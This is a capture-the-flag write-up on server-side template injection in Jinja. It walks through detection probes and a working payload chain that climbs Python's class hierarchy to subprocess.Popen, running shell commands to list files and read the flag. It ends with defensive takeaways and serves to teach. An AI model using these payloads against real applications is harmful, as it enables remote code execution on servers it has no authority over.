Server-Side Template Injection (SSTI1)
Research
What is SSTI?
- Server-Side Template Injection occurs when an attacker can inject malicious input into a server-side template.
- A server-side template is a file used by a web application to generate dynamic content on the server (like the blueprint of the web app).
Common Server-Side Template Engines
- Python: Jinja, Django
- PHP: Twig, Blade
- Java: FreeMarker, Thymeleaf
- Ruby: ERB
- Javascript: EJS
Information Gathering
Start by determining if the application evaluates template expressions from user input, and then identify the specific template engine in use.
{{7*7}}49Reason: This confirms the vulnerability and rules out engines that do not use {{...}} syntax. It likely points to Jinja or Twig.
{{7*'7'}}7777777Reason: If it were Twig, it would output 49. The output 7777777 confirms Python is evaluating the expression, meaning the engine is Jinja. Running {{self.__class__}} verifies this by outputting
<class 'jinja2.runtime.TemplateReference'> .
Creating the Payload
The goal is to escape the sandbox by traversing Python's Method Resolution Order (MRO) to find a class that allows executing OS commands.
{{''.__class__.__mro__[1]}}<class 'object'>Reason: Starting with an empty string '', we access its class str, then its MRO tuple, and grab the base object class at index 1.
{{''.__class__.__mro__[1].__subclasses__()}}[... list of classes ...]Reason: We display all classes that inherit from object. We are looking for classes in os or subprocess modules. We find subprocess.Popen at index 356.
{{''.__class__.__mro__[1].__subclasses__()[356](['ls'], shell=True, stdout=-1).communicate()}}(b'__pycache__\napp.py\nflag\nrequirements.txt\n', None)Reason: We instantiate subprocess.Popen to run the ls command. We see a file named flag in the output directory list.
{{''.__class__.__mro__[1].__subclasses__()[356](['cat flag'], shell=True, stdout=-1).communicate()}}[Flag Content]Reason: Running the cat flag command through the Popen shell allows us to read the flag and solve the puzzle.
Key Takeaways
- Never pass unsanitized user input directly to a template engine's rendering context.
- Python's class inheritance hierarchy (
__mro__,__subclasses__) allows powerful sandbox escapes if remote code execution is achieved.